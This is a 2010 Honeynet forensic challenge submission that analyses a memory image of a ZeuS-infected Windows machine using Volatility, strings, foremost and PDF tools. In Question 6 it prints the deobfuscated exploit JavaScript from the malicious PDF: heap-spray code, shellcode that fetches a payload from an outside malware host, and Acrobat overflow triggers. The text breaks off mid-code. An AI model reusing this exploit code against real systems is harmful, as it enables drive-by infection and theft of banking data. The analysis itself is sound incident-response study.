Challenge 3: Banking Troubles (difficult)

Submission Template

Submit your solution at http://www.honeynet.org/challenge2010/ by 17:00 EST, Sunday, April 18th 2010. Results will be released on Wednesday, May 5th 2010.

Name (required): Mario Pascucci	Email (required): mpascucci@gmail.com
Country (optional): Italy	Profession (optional): _ Student X Security Professional _ Other

First of all, I wish to thank all people at Honeynet Project. Creating such challenges, I know, is a time-consuming activity, not only for preparation, but also evaluating submissions can be painfully.

This challenge was, for me, really hard. This is my first pure memory forensic. In every day work we can obtain samples from infected machine (files, mail, registry keys, ...), but in this simulation we cannot access these useful information. Of course, it is intended difficult, to show how and what people can reveal about a security incident owning only a limited (but precious) amount of data.

What do I learn? A lot. Some tools (Volatility, pdf-tools, ...) are totally new for me, and a great part of Windows memory organization was unknown. Now I have a solid base to build new strategies and analysis techniques in my everyday work. This is invaluable.

General overview

A user received an e-mail, containing an URL leading to a forged PDF document.
Opening that document in Acrobat Reader triggers a malicious Javascript, embedded in PDF.
Malicious Javascript exploits a vulnerability in Acrobat Reader, obtaining that an executable is downloaded and executed in computer's victim.
This executable is a variant of Zbot malware, part of a crimeware named ZeuS. This executable put itself in a registry key related to WinLogon process, so its execution at system startup in assured.
After execution, malware uses hooks on Windows system calls to inject his code in every process he needs for doing his work.

Question 1. List the processes that were running on the victim's machine. Which process was most likely responsible for the initial exploit?	Possible Points: 2pts
Tools Used: Volatility Awarded Points:	
This is the output of command: `volatility pslist -f Bob.vmem`	

```
Name                 Pid    PPid   Thds   Hnds   Time
System               4      0      58     573    Thu Jan 01 00:00:00 1970
smss.exe             548    4      3      21     Fri Feb 26 03:34:02 2010
csrss.exe            612    548    12     423    Fri Feb 26 03:34:04 2010
winlogon.exe         644    548    21     521    Fri Feb 26 03:34:04 2010
services.exe         688    644    16     293    Fri Feb 26 03:34:05 2010
lsass.exe            700    644    22     416    Fri Feb 26 03:34:06 2010
vmacthlp.exe         852    688    1      35     Fri Feb 26 03:34:06 2010
svchost.exe          880    688    28     340    Fri Feb 26 03:34:07 2010
svchost.exe          948    688    10     276    Fri Feb 26 03:34:07 2010
svchost.exe          1040   688    83     1515   Fri Feb 26 03:34:07 2010
svchost.exe          1100   688    6      96     Fri Feb 26 03:34:07 2010
svchost.exe          1244   688    19     239    Fri Feb 26 03:34:08 2010
spoolsv.exe          1460   688    11     129    Fri Feb 26 03:34:10 2010
vmtoolsd.exe         1628   688    5      220    Fri Feb 26 03:34:25 2010
VMUpgradeHelper      1836   688    4      108    Fri Feb 26 03:34:34 2010
alg.exe              2024   688    7      130    Fri Feb 26 03:34:35 2010
explorer.exe         1756   1660   14     345    Fri Feb 26 03:34:38 2010
VMwareTray.exe       1108   1756   1      59     Fri Feb 26 03:34:39 2010
VMwareUser.exe       1116   1756   4      179    Fri Feb 26 03:34:39 2010
wscntfy.exe          1132   1040   1      38     Fri Feb 26 03:34:40 2010
msiexec.exe          244    688    5      181    Fri Feb 26 03:46:06 2010
msiexec.exe          452    244    0      -1     Fri Feb 26 03:46:07 2010
wuauclt.exe          440    1040   8      188    Sat Feb 27 19:48:49 2010
wuauclt.exe          232    1040   4      136    Sat Feb 27 19:49:11 2010
firefox.exe          888    1756   9      172    Sat Feb 27 20:11:53 2010
AcroRd32.exe         1752   888    8      184    Sat Feb 27 20:12:23 2010
svchost.exe          1384   688    9      101    Sat Feb 27 20:12:36 2010
```

As to come in evidence during the analysis, the process responsible for initial exploit was:

```
AcroRd32.exe         1752   888    8      184    Sat Feb 27 20:12:23 2010
```

This is Acrobat Reader, launched from process PID 888, the Firefox browser.

Question 2. List the sockets that were open on the victim's machine during infection. Are there any suspicious processes that have sockets open?	Possible Points: 4pts

Tools Used: Volatility, strings, grep

Using Volatility for listing sockets:

```
volatility sockets -f Bob.vmem

Pid    Port   Proto  Create Time
4      0      47     Fri Feb 26 03:35:00 2010
1040   68     17     Sat Feb 27 20:12:35 2010
880    1185   6      Sat Feb 27 20:12:36 2010
4      1030   6      Fri Feb 26 03:35:00 2010
700    500    17     Fri Feb 26 03:34:26 2010
4      138    17     Sat Feb 27 19:48:57 2010
1244   1189   6      Sat Feb 27 20:12:37 2010
1040   1181   17     Sat Feb 27 20:12:35 2010
1100   1047   17     Fri Feb 26 03:43:12 2010
880    30301  6      Sat Feb 27 20:12:36 2010
4      445    6      Fri Feb 26 03:34:02 2010
```

```
1040    123     17      Sat Feb 27 19:48:57 2010
948     135     6       Fri Feb 26 03:34:07 2010
1752    1178    6       Sat Feb 27 20:12:32 2010
888     1168    6       Sat Feb 27 20:11:53 2010
1752    1177    17      Sat Feb 27 20:12:32 2010
1244    2869    6       Sat Feb 27 20:12:37 2010
1040    123     17      Sat Feb 27 19:48:57 2010
888     1171    6       Sat Feb 27 20:11:53 2010
700     0       255     Fri Feb 26 03:34:26 2010
1100    1025    17      Fri Feb 26 03:34:34 2010
1244    1900    17      Sat Feb 27 19:48:57 2010
1040    1182    17      Sat Feb 27 20:12:35 2010
4       139     6       Sat Feb 27 19:48:57 2010
1040    1186    17      Sat Feb 27 20:12:36 2010
2024    1026    6       Fri Feb 26 03:34:35 2010
888     1172    6       Sat Feb 27 20:11:53 2010
888     1176    6       Sat Feb 27 20:12:28 2010
1244    1900    17      Sat Feb 27 19:48:57 2010
880     1184    6       Sat Feb 27 20:12:36 2010
700     4500    17      Fri Feb 26 03:34:26 2010
4       137     17      Sat Feb 27 19:48:57 2010
4       445     17      Fri Feb 26 03:34:02 2010
888     1169    6       Sat Feb 27 20:11:53 2010
```

crossing information retrieved with connections list:

```
volatility connections -f Bob.vmem

Local Address             Remote Address            Pid
192.168.0.176:1176        212.150.164.203:80        888
192.168.0.176:1184        193.104.22.71:80          880
127.0.0.1:1168            127.0.0.1:1169            888
127.0.0.1:1169            127.0.0.1:1168            888
192.168.0.176:2869        192.168.0.1:30379         1244
192.168.0.176:1178        212.150.164.203:80        1752
192.168.0.176:1185        193.104.22.71:80          880
192.168.0.176:1171        66.249.90.104:80          888
192.168.0.176:2869        192.168.0.1:30380         4
192.168.0.176:1189        192.168.0.1:9393          1244
192.168.0.176:1172        66.249.91.104:80          888
```

We have two suspicious IP addresses: 193.104.22.71 (Malta hosting) and 212.150.164.203 (Israeli hosting registered with name “search-network-plus.com”). Information gathered from Whois services follows:

```
Domain name: search-network-plus.com

Registrant Contact:
SearchNetworkPlus
Antonio Perino antonioperinom@yahoo.com
02122764616 fax: 02122764616
Santos Michelena, 23
caracas caracas 1010
ve
```

```
Administrative Contact:
Antonio Perino antonioperinom@yahoo.com
02122764616 fax: 02122764616
Santos Michelena, 23
caracas caracas 1010
ve

Technical Contact:
Antonio Perino antonioperinom@yahoo.com
02122764616 fax: 02122764616
Santos Michelena, 23
caracas caracas 1010
ve

Billing Contact:
Antonio Perino antonioperinom@yahoo.com
02122764616 fax: 02122764616
Santos Michelena, 23
caracas caracas 1010
ve

DNS:
ns3.cnmsn.com
ns4.cnmsn.com

Created: 2010-01-14
Expires: 2011-01-14
```

```
IP address: 193.104.22.71
inetnum:        193.104.22.0 - 193.104.22.255
netname:        KratosWeb-NET
descr:          Kratos LTD
country:        MT
org:            ORG-KL60-RIPE
admin-c:        MS19890-RIPE
tech-c:         MS19890-RIPE
status:         ASSIGNED PI
mnt-by:         RIPE-NCC-END-MNT
mnt-lower:      RIPE-NCC-END-MNT
mnt-by:         KRATOS-MNT
mnt-routes:     KRATOS-MNT
mnt-domains:    KRATOS-MNT
source:         RIPE # Filtered

organisation:   ORG-KL60-RIPE
org-name:       Kratos LTD
org-type:       OTHER
address:        Albanese Building, North Shore, Manoel Island,   GZR 3016 Gzira,
Malta
admin-c:        MS19890-RIPE
tech-c:         MS19890-RIPE
mnt-ref:        KRATOS-MNT
mnt-by:         KRATOS-MNT
abuse-mailbox:  abuse@kratosweb.org
```

```
source:         RIPE # Filtered

person:         Markus Speth
address:        Albanese Building
address:        North Shore, Manoel Island
address:        Gzira GZR 04
address:        Malta
phone:          +356 0951 4412
nic-hdl:        MS19890-RIPE
mnt-by:         KRATOS-MNT
source:         RIPE # Filtered

% Information related to '193.104.22.0/24AS34305'

route:          193.104.22.0/24
descr:          Kratos Route
origin:         AS34305
mnt-by:         EUROACCESS-MNT
mnt-by:         KRATOS-MNT
source:         RIPE # Filtered
```

```
IP address: 212.150.164.203
inetnum:        212.150.164.0 - 212.150.164.255
netname:        loads
descr:          loads
country:        IL
admin-c:        NV4093-RIPE
tech-c:         NN105-RIPE
status:         ASSIGNED PA
mnt-by:         NV-MNT-RIPE
mnt-lower:      NV-MNT-RIPE
source:         RIPE # Filtered

role:           Netvision NOC team
address:        Omega Building
address:        MATAM industrial park
address:        Haifa 31905
address:        Israel
phone:          +972 4 8560 600
fax-no:         +972 4 8551 132
e-mail:         abuse@013netvision.co.il
remarks:        trouble:      Send Spam and Abuse complains ONLY to the above
address!
e-mail:         ripetech@013netvision.co.il
admin-c:        NVAC-RIPE
tech-c:         NVTC-RIPE
nic-hdl:        NN105-RIPE
mnt-by:         NV-MNT-RIPE
source:         RIPE # Filtered

person:         Loads Internet Solutions
address:        Katzrin
address:        Po.box 113
mnt-by:         NV-MNT-ripe
phone:          +972-77-3414136
```

```
fax-no:         +972--4-6961877
e-mail:         hosting@loads.co.il
nic-hdl:        NV4093-RIPE
source:         RIPE # Filtered

% Information related to '212.150.0.0/16AS1680'

route:          212.150.0.0/16
descr:          013 Netvision Network
origin:         AS1680
mnt-by:         NV-MNT-RIPE
source:         RIPE # Filtered
```

Only one process is connected with Malta hosting: PID 880 – svchost.exe.
Two processes are connecting with Israeli hosting: PID 888 – firefox.exe and PID 1752 – AcroRd32.exe

Other suspicious open sockets are:

- listening socket, TCP port 1030, PID 4 (may be a regular Windows service)
- connected socket, TCP port 2869, remote address 192.168.0.1:30380 (not in open socket list, may be in "CLOSE_WAIT" status)
- listening socket, TCP port 30301, PID 880
- two connected socket, TCP port 1184 and 1185, remote address 193.104.22.71 HTTP port PID 880
- connected socket, TCP port 2869, remote address 192.168.0.1:30379 PID 1244
- connected socket, TCP port 1189, remote address 192.168.0.1:9393 PID 1244

Last two sockets may be related to UPnP service (see Microsoft KB article 832017 http://support.microsoft.com/kb/832017/), but they cannot treated as safe. IP address of other end of connection probably belongs to a home/small office router. Using strings and grep on the memory image we can find something like:
http://192.168.0.1/root.sxml
http://192.168.0.1:9393/wipconn
http://192.168.0.1/WANIPConn1.xml
Those URLs are like some web management URLs of most routers. At offset 0x193a6496 we can find a group of strings in UTF-16 encoding that say:

```
<friendlyName>Xtreme N GIGABIT Router</friendlyName>
<manufacturer>D-Link Systems</manufacturer>
<manufacturerURL>http://www.dlink.com</manufacturerURL>
<modelDescription>Xtreme N GIGABIT Router</modelDescription>
<modelName>Xtreme N GIGABIT Router</modelName>
<modelNumber>DIR-655</modelNumber>
<modelURL>http://www.dlink.com</modelURL>
<serialNumber>none</serialNumber>
<UDN>uuid:9473C6D5-5F48-37AE-906D-6A2F4D54C01D</UDN>
```

Same information is available at offset 0x2355836 using "strings" tool with normal 8-bit encoding.
Using same strategy, we can find some fragment of UPnP SOAP calls related to forwarded ports from router to the IP address of computer in analysis (192.168.0.176).
UPnP vulnerability on most router is reported (see http://www.gnucitizen.org/blog/hacking-the-interwebs/) so we cannot exclude that a malware has opened ports on router using specific exploits.

For these reasons, we have two suspected process. One is PID 880, this is the command line:

```
C:\WINDOWS\system32\svchost -k DcomLaunch
```

other is PID 1752, Acrobat Reader, seen before. Although it is most likely responsible only for initial exploit, it is still connected to a probably malicious website, so we cannot exclude it from list of suspicious process.

Question 3. List any suspicious URLs that may be in the suspected process's memory.	Possible Points: 2pts
Tools Used: Volatility, strings, grep	

We can obtain a dump of the memory addressable from suspected process using Volatility:

```
volatility memdmp -p 880 -f Bob.vmem
```

Resulting file is about 93Mbyte. Using strings to search for suspected IP addresses and host names named before (193.104.22.71, 212.150.164.203, search-network-plus.com) lead to some interesting results:

1. http://193.104.22.71/~produkt/9j856f_4m9y8urb.php
2. http://193.104.22.71/~produkt/69825439870/73846525#N
3. http://193.104.22.71/~produkt/983745213424/34650798253
4. http://search-network-plus.com/cache/PDF.php?st=Internet%20Explorer%206.0

Doing the same with Acrobat Reader process, PID 1752, there are some references to search-network-plus.com:
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
http://search-network-plus.com/load.php?a=a&st=Internet%20Explorer%206.0&e=2
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=3
and a couple of references to Israeli hosting IP address: 212.150.164.203

Question 4. Are there any other processes that contain URLs that may point to banking troubles? If so, what are these processes and what are the URLs?	Possible Points: 4pts
Tools Used: Volatility, strings	

In memory dump of process with PID 888 (firefox.exe):
http://search-network-plus.com/cache/PDF.php?st=Internet%20Explorer%206.0
http://search-network-plus.com/favicon.ico

Both links are also in the memory dump of process with PID 1244 (svchost.exe)

The most interesting part come from strings in the memory dump of PID 644. At offset 0x148b68 of the memory image there is a string:

```
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
```

that is one of the coding for the "redirect/fake URL" used in configuration file C:\WINDOWS\system32\lowsec\user.ds to target bank web site for phishing or injecting HTML in online forms. More analysis follow: role of this string and this file will be clear in following answers.

Question 5. Were there any files that were able to be extracted from the initial process? How were these files extracted?	Possible Points: 6pts
Tools Used: Volatility, foremost, pdf-parser.py / pdid.py (from Didier Stevens "pdf-tools")	

After dumping process memory with Volatility:

```
volatility memdmp -p 1752 -f Bob.vmem
```

we can use foremost on the resulting memory image, called 1752.dmp:

```
foremost -i 1752.dmp -o pid1752
```

We can assume that initial exploit was a malicious PDF file, as stated in initial simulation story (user opens a PDF file from an e-mail), so we look in the pdf directory of foremost output (pid1752/pdf/). There are seven files, all partially or totally broken. First five files are really short (less than 500 bytes), last two are more interesting, 60kb and 600kb in size,

respectively named **00599696.pdf** and **00600328.pdf**. Both files does not become extracted if you run foremost straight on the full memory image, only when run against memory dump of AcroRd32.exe process. The one of size 60kb is encrypted, but do not contains "active" sections, according to pdfid.py output:

```
pdfid.py 00599696.pdf
PDFiD 0.0.10 00599696.pdf
 PDF Header: %PDF-1.4
 obj                   104
 endobj                104
 stream                 34
 endstream              34
 xref                    2
 trailer                 2
 startxref               2
 /Page                   8
 /Encrypt                1
 /ObjStm                 0
 /JS                     0
 /JavaScript             0
 /AA                     0
 /OpenAction             0
 /AcroForm               0
 /JBIG2Decode            0
 /RichMedia              0
 /Colors > 2^24          0
```

No /OpenAction, no /JS, no /Javascript and even no /JBIG2Decode (affected by security bug, see http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html).

A surprise come from other document:

```
pdfid.py 00600328.pdf
PDFiD 0.0.10 00600328.pdf
 PDF Header: %PDF-1.3
 obj                     6
 endobj                  6
 stream                  1
 endstream               1
 xref                    2
 trailer                 2
 startxref               1
 /Page                   1
 /Encrypt                0
 /ObjStm                 0
 /JS                     1
 /JavaScript             1
 /AA                     1
 /OpenAction             0
 /AcroForm               0
 /JBIG2Decode            0
 /RichMedia              0
 /Colors > 2^24          0
```

The /Javascript refer to a section 1054, at the very start of file, that contains these bytes:

```
00000000  25 50 44 46 2d 31 2e 33  0d 0a 25 4d 4d 57 49 45  |%PDF-1.3..%MMWIE|
00000010  4e 4f 46 0d 0a 25 57 4e  49 46 49 4c 53 4e 46 49  |NOF..%WNIFILSNFI|
00000020  45 4f 57 4e 53 44 46 0d  0a 31 30 35 34 20 30 20  |EOWNSDF..1054 0 |
00000030  6f 62 6a 0d 0a 3c 3c 2f  4c 65 6e 67 74 68 20 30  |obj..<</Length 0|
00000040  30 30 30 2f 46 69 6c 74  65 72 20 5b 2f 46 23 36  |000/Filter [/F#6|
00000050  63 23 36 31 23 37 34 65  23 34 34 65 23 36 33 23  |c#61#74e#44e#63#|
00000060  36 66 64 65 2f 23 34 31  23 35 33 23 34 33 49 49  |6fde/#41#53#43II|
00000070  23 33 38 23 33 35 23 34  34 23 36 35 23 36 33 23  |#38#35#44#65#63#|
00000080  36 66 64 23 36 35 5d 3e  3e 0d 0a 73 74 72 65 61  |6fd#65]>>..strea|
00000090  6d 0d 0a 78 da 8d 5d 69  9f d5 c4 d3 7d 5f df 02  |m..x..]i....}_..|
...
```

In red, we can see an obfuscated decode command: /FlateDecode /ASCII85Decode.
Using pdf-parser.py, we can extract the entire block containing the Javascript:

```
pdf-parser.py -f -o 1054 ./00600328.pdf
obj 1054 0
 Type:
 Referencing:
 Contains stream
 [(1, '\r\n'), (2, '<<'), (2, '/Length'), (1, ' '), (3, '0000'), (2, '/Filter'),
(1, ' '), (2, '['), (2, '/F#6c#61#74e#44e#63#6fde'), (2,
'/#41#53#43II#38#35#44#65#63#6fd#65'), (2, ']'), (2, '>>'), (1, '\r\n')]

 <<
   /Length 0000
   /Filter [
   /FlateDecode /ASCII85Decode]
 >>

 "\nvar
xtdxJYVm='01111000001010110000011100101111001000010011011100011111000110110010111
11010011110010010100110000000100010010011100000010011010010000001100011110001111
11001010010010110001000010000000110000110100000011001110000010000110100010.....
[TRUNCATED]
....function GcBigPkz(xtdxJYVm){return xtdxJYVm;}function
Dqakslkn(ENzEszAz,Dqakslkn){if(Dqakslkn==0){return 1;}var
VzBJVOyp=ENzEszAz;for(var GlyomGyU=1;GlyomGyU<Dqakslkn;GlyomGyU++)
{VzBJVOyp*=ENzEszAz;}return VzBJVOyp"
```

(output shorted for readability).
That is what it seems: a big piece of obfuscated Javascript code (84347 bytes in total).

Question 6. If there was a file extracted from the initial process, what techniques did it use to perform the exploit?	Possible Points: 8pts

Tools Used: Volatility, pdf-tools (from Didier Stevens), VIM, hexdump, Firefox, FireBug, libemu, objdump

It uses a well-known security flaw in PDF.
Using pdf-parser we can track down the structure of the malicious PDF. First we search what section refers to Javascript block (id 1054 in PDF file):

```
pdf-parser.py -f -r 1054 ./00600328.pdf
```

```
obj 11 0
 Type:
 Referencing: 1054 0 R

 <<
   /S /JavaScript
   /JS 1054 0 R
 >>
```

(output shorted for readability) so, object 11 refers to Javascript. Using same command:

```
pdf-parser.py -f -r 11 ./00600328.pdf
obj 1847 0
 Type: /Page
 Referencing: 787 0 R, 1847 0 R, 11 0 R

 <<
   /Parent 787 0 R
   /Resources 1847 0 R
   /Type /Page
   /AA /O 11 0 R
 >>
```

(output shorted for readability). This means: when page is displayed (it is the only page) an action is performed (/AA means "Add Action"): activate object 11, that references object 1054, the malicious Javascript.

Now, we need to see deobfuscated version of Javascript, so take a moment to analyze the code.
At byte 83506 there is a function call:

```
HNQYxrFW(eval,VIfwHVPz(xtdxJYVm,JkYBYnxN),BGmiwYYc)
```

the function is defined at byte 83161:

```
function HNQYxrFW(KChuBWpl,aTkRRqKD,HVqLGmiA){KChuBWpl(HVqLGmiA(aTkRRqKD));}
```

The only purpose of the function is to hide a call to function "eval()".
Using normal deobfuscation methods lead to none, so we must edit a bit the Javascript to made it more "readable", and enclose it in <script> tags:

```
<script language="JavaScript">
var xtdxJYVm='01111000001010110000O.....'
var JkYBYnxN='011100100100110101......'

function yRgjvasM(EajhtdGQ,replace,RzUbJqHU)
  {if(!(replace instanceof Array))
    {replace=new Array(replace);
    if(EajhtdGQ instanceof Array)
      {while(EajhtdGQ.length>replace.length)
        {replace[replace.length]=replace[0];}
      }
    }
    if(!(EajhtdGQ instanceof Array))
      EajhtdGQ=new Array(EajhtdGQ);
      while(EajhtdGQ.length>replace.length)
        {replace[replace.length]='';}
      if(RzUbJqHU instanceof Array)
      {for(WsvDXhZg in RzUbJqHU)
```

```
        {RzUbJqHU[WsvDXhZg]=yRgjvasM(EajhtdGQ,replace,RzUbJqHU[WsvDXhZg]);}
        return RzUbJqHU;}
      for(var WsvDXhZg=0;WsvDXhZg<EajhtdGQ.length;WsvDXhZg++)
        {var GlyomGyU=RzUbJqHU.indexOf(EajhtdGQ[WsvDXhZg]);
        while(GlyomGyU>-1)
          {RzUbJqHU=RzUbJqHU.replace(EajhtdGQ[WsvDXhZg],replace[WsvDXhZg]);
          GlyomGyU=RzUbJqHU.indexOf(EajhtdGQ[WsvDXhZg],GlyomGyU);}
      }
    return RzUbJqHU;
  }

  function DgZCVgIX(xtdxJYVm){
    var VzBJVOyp=0,GlyomGyU=0,qTABhyTE;
    for(;GlyomGyU<8;GlyomGyU++){
      qTABhyTE=7-GlyomGyU;VzBJVOyp+=Dqakslkn(2,qTABhyTE)*xtdxJYVm[GlyomGyU];
    }
    return VzBJVOyp;
  }

function BGmiwYYc(xtdxJYVm)
  {var GlyomGyU=0;
  var VzBJVOyp='';
  while(GlyomGyU<xtdxJYVm.length)
    {VzBJVOyp+=String.fromCharCode(DgZCVgIX(xtdxJYVm.substr(GlyomGyU,8)));GlyomG
yU+=8;}
  return VzBJVOyp;}

function HNQYxrFW(KChuBWpl,aTkRRqKD,HVqLGmiA)
  {KChuBWpl(HVqLGmiA(aTkRRqKD));}

function SvaHZsuK(FuojOxin,kcqmHMdn)
  {var VzBJVOyp='';
  for(var GlyomGyU=0;GlyomGyU<FuojOxin.length;GlyomGyU++)
    {VzBJVOyp+=aubpcKJR(HYOtmIjW(vrfDJomH(FuojOxin[GlyomGyU]),vrfDJomH(kcqmHMdn[
GlyomGyU])));}
  return VzBJVOyp;}

function aubpcKJR(ENzEszAz){return(ENzEszAz)?'1':'0';}

HNQYxrFW(eval,VIfwHVPz(xtdxJYVm,JkYBYnxN),BGmiwYYc);

function HYOtmIjW(DTBYIswO,BEundbzB){return(DTBYIswO||BEundbzB)&&!
(DTBYIswO&&BEundbzB);}

function VIfwHVPz(xtdxJYVm,JkYBYnxN)
  {return SvaHZsuK(GcBigPkz(JkYBYnxN),GcBigPkz(xtdxJYVm))}

function vrfDJomH(ENzEszAz)
  {return(ENzEszAz==1)?true:false;}

function GcBigPkz(xtdxJYVm)
  {return xtdxJYVm;}

function Dqakslkn(ENzEszAz,Dqakslkn) {
  if(Dqakslkn==0) {
    return 1;
```

```
  }
  var VzBJVOyp=ENzEszAz;
  for(var GlyomGyU=1;GlyomGyU<Dqakslkn;GlyomGyU++)
    {VzBJVOyp*=ENzEszAz;}
return VzBJVOyp
}
</script>
```

Next, we open the file on Firefox, with FireBug extension installed, used as Javascript debugger. We must keep in mind that Javascript functions available in Firefox are not the same available in Acrobat Reader, so we expect a lot of errors in the code execution.
Placing a breakpoint at the exit of the function BgmiwYYc (in red) reveal the code passed next to eval() function, in the return variable:

```
function OzWJi(rzRoI,fxLUb){while(rzRoI.length*2<fxLUb){rzRoI+=rzRoI;}
return rzRoI.substring(0,fxLUb/2);}
function bSuTN(){var
Uueqk=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8
D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u575
6\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\
u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0
C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85
B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\
u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8
B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE9
8\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6165\u6372\
u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870\u3
F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u362
0\u302E\u6526\u323D\u0000%25%30%25%30%25%30%25%30%25%30%25%30");var
HWXsi=202116108;var ZkzwV=[];var HsVTm=4194304;var EgAxi=Uueqk.length*2;var
fxLUb=HsVTm-(EgAxi+0x38);var
rzRoI=sly("\u9090\u9090");rzRoI=OzWJi(rzRoI,fxLUb);var tfFQG=(HWXsi-
4194304)/HsVTm;for(var gtqHE=0;gtqHE<tfFQG;gtqHE++){ZkzwV[gtqHE]=rzRoI+Uueqk;}
var
eHmqR=sly("\u0c0c\u0c0c");while(eHmqR.length<44952)eHmqR+=eHmqR;this.collabStore
=Collab.collectEmailInfo({subj:"",msg:eHmqR});}
function Soy(){var dwl=new Array();function ppu(BtM,dqO){while(BtM.length*2<dqO)
{BtM+=BtM;}
BtM=BtM.substring(0,dqO/2);return BtM;}
XrS=0x30303030;HRb=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u
09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u89
56\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD
\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u
0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33
B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB
\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\u
C033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57
FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F
\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u
2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u72
6F\u7265\u3620\u302E\u6526\u313D\u0000\u0000%23%26%23%26%23%26%23%26%23%26%23%26
%23%26%23%26%23%26%23%26");var jxU=4194304;var RaR=HRb.length*2;var dqO=jxU-
(RaR+0x38);var BtM=sly("\u9090\u9090");BtM=ppu(BtM,dqO);var JYD=(XrS-
4194304)/jxU;for(var Prn=0;Prn<JYD;Prn++){dwl[Prn]=BtM+HRb;}
```

```
var IdI="66055447950636260127";for(sly=0;sly<138*2;sly++){IdI+="3";}
util.printf("%45000f",IdI);}
function ynu(shG)
{shG=shG.replace(/[\+1]/g,"0");shG=shG.replace(/[\+2]/g,"9");shG=shG.replace(/[\
+3]/g,"8");shG=shG.replace(/[\+4]/g,"7");shG=shG.replace(/[\
+5]/g,"6");shG=shG.replace(/[\+6]/g,"5");shG=shG.replace(/[\
+7]/g,"4");shG=shG.replace(/[\+8]/g,"3");shG=shG.replace(/[\
+9]/g,"2");shG=shG.replace(/[\+0]/g,"1");return shG;}
function XiIHG(){var
cqcNr=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8
D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u575
6\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\
u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0
C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85
B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\
u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8
B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE9
8\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6165\u6372\
u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870\u3
F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u362
0\u302E\u6526\u333D\u0000\u1334\u1334");dPl=sly("\u9090\u9090\u9090\u9090\u9090\
u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9
090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u909
0\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\
u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9
090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u909
0\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")
+cqcNr;FQI=sly("\u9090\u9090");fhT=5*2;sLa=fhT+dPl.length;while(FQI.length<sLa)F
QI+=FQI;NJn=FQI.substring(0,sLa);eUq=FQI.substring(0,FQI.length-
sLa);while(eUq.length+sLa<0x40000)eUq=eUq+eUq+NJn;Cwy=[];for(XWT=0;XWT<180;XWT+
